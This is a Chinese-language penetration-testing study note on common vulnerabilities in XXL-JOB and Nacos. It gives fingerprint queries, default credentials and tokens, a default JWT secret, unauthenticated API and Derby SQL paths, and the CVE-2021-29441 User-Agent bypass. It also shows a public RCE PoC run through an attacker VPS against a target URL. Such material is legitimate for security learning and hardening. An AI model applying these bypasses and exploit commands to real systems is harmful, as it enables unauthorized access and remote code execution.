一些内网常见服务的漏洞总结
由于6s6师傅在面试杭州某60时被拷打了很多内网常见服务的漏洞,我觉得还是得上手实操并总结一下,于是有了这篇笔记
XXL-JOB
介绍
xxl-job是一个分布式任务调度平台,有两个核心模块:
- 调度中心admin,默认端口8080,负责管理调度信息等操作
- 执行器executor,默认端口9999,负责任务执行,接收调度中心的请求
特征
-
fofa语法:
icon_hash="1691956220" || app="xxl-job"
-
页面特征:
-
图标特征:
常见漏洞
弱口令
xxl-job的初始化sql语句设定了默认密码admin/123456,并且登录后不会提示修改默认密码
这样可以直接进入后台:
后台计划任务getshell
登录成功后可以在任务管理处创建计划任务:
在GLUEIDE处编辑命令:
写入反弹shell的命令:
然后回到管理页面选择执行一次:
即可反弹shell:
Executor Restful API未授权访问RCE
前面提到了xxl-job分为admin和executor,而executor默认没有配置认证,未授权的攻击者可以通过RESTful API执行任意命令
默认accessToken身份绕过
也是一个很经典的漏洞场景,accessToken是为了修复XXL-JOB Executor Restful API 未授权访问命令执行漏洞,为了防止其未授权添加了accessToken校验,但是很多人在使用该框架的时候并未修改其默认的值xxl.job.accessToken=default_token,所以只需要在请求头中添加XXL-JOB-ACCESS-TOKEN: default_token 即可绕过身份校验
api未授权Hessian2反序列化
即xxl-job的/api路由可以未授权访问,而该接口会进行Hessian2反序列化操作,可以利用Hessian2反序列化漏洞进行RCE
未授权情况的API界面如下
一把梭命令执行:
Nacos
介绍
Nacos是一个更易于构建云原生应用的动态服务发现、配置管理和服务管理平台,由阿里巴巴开源,一般在内网系统中比较常见
nacos部署需要开放以下端口:
- 主端口:默认8848,管理页面的主入口
- gRPC服务客户端端口:默认9848,用于客户端向服务端发起gRPC连接和请求
- gRPC服务服务端端口:默认9849,用于服务间的数据同步和其他服务端之间的通信
- Jraft请求服务端端口:默认为7848,用于处理服务端间的Raft相关请求,比如集群管理中的选主和日志复制等
特征
-
fofa语法:
app="nacos" && port="8848" || icon_hash="13942501"||icon_hash="1227052603" && port="8848"
-
页面特征:
-
图标特征:
-
版本信息配置文件
/nacos/v1/console/server/state
常见漏洞
弱口令
nacos的默认口令为nacos/nacos
未授权查看用户信息
路径:
/nacos/v1/auth/users?pageNo=1&pageSize=9
或
/v1/auth/users?pageNo=1&pageSize=9
接口未鉴权,导致可以查看用户名和对应的密码hash:
User-Agent权限绕过(CVE-2021-29441)
nacos在进行认证授权操作时,会判断请求的user-agent是否为”Nacos-Server”,如果是的话则不进行任何认证。开发者原意是用来处理一些服务端对服务端的请求
这种校验方式过于简单,所以非常好bypass,在绕过权限校验后,我们可以通过/nacos/v1/auth/users
接口添加用户、删除用户、重置用户密码,这里直接工具一把梭:
默认jwt密钥-未授权访问
开启了nacos.core.auth.enabled 的情况下,如果未修改默认nacos.core.auth.default.token.secret.key的值(在Nacos<=2.2.0版本中,该值为默认值),则可以通过默认accessToken值来bypass校验:
nacos.core.auth.default.token.secret.key=SecretKey012345678901234567890123456789012345678901234567890123456789
我们可以直接使用工具生成jwt:
在登录时随便输入账号密码并抓包:
可以看见原本的响应显示未知用户,将工具生成的jwt用下面的格式加入请求包:
Authorization: Bearer <你的JWT>
可以看到已经登录成功了,同理我们在登录时修改并放包即可绕过登录进入后台,以及访问各个接口:
Derby未授权访问(CNVD-2020-67618)
nacos带有一个嵌入式的小型数据库derby,默认无需认证即可被访问,并执行任意sql查询,导致敏感信息泄露
路由如下:
/nacos/v1/cs/ops/derby?sql=select * from users
当然同样可以工具一把梭:
Nacos Client Yaml反序列化漏洞
在1.4.1版本中存在Nacos Client Yaml反序列化漏洞,该漏洞只影响单独使用 nacos-client SDK的用户,原因在于spring cloud、springboot、dubbo等框架中并非使用的 AbstractConfigChangeListener 监听配置,所以该漏洞只影响了使用AbstractConfigChangeListener监听配置的客户端
由于利用条件比较苛刻(该漏洞只影响单独使用 nacos-client SDK的用户,原因在于spring cloud、springboot、dubbo等框架中并非使用的 AbstractConfigChangeListener 监听配置,所以该漏洞只影响了使用AbstractConfigChangeListener监听配置的客户端),这里就不记录利用方式了,可以参考靶场WP:https://cloud.tencent.com/developer/article/2395070
Nacos Hessian 反序列化漏洞
漏洞针对默认7848端口的Jraft服务,由于7848端口采用hessian协议传输数据,反序列化未设置白名单导致存在RCE漏洞
影响版本:1.4.0<=Nacos<1.4.6, 2.0.0<Nacos<2.2.3
Nacos 1.x在单机模式下默认不开放7848端口,故该情况通常不受此漏洞影响,但是集群模式受影响。然而,2.x版本无论单机或集群模式均默认开放7848端口
同样使用工具即可写入内存马进行RCE
Nacos RCE
有两个RCE的路由:
/nacos/v1/cs/ops/data/removal
/nacos/v1/cs/ops/derby
用现成的脚本打就行了:
下载poc:GitHub - FFR66/Nacos_Rce: 网传nacos_rce漏洞poc,并上传到vps上
-
vps启动server脚本:
python3 server.py
-
客户端直接打临时文件RCE:
Nacos_Rce.py -t [vps的IP] -p 8888 -u http://xxx.xxx.xxx.xxx:8848 -c whoami
如果命令执行成功,会回显命令的结果(如果显示未知用户或者未找到用户,则表示nacos启用了鉴权需要伪造JWT绕过登陆授权,在文件Nacos_Rce.py文件中设置请求头即可。只要能够绕过登陆授权,就可能能RCE)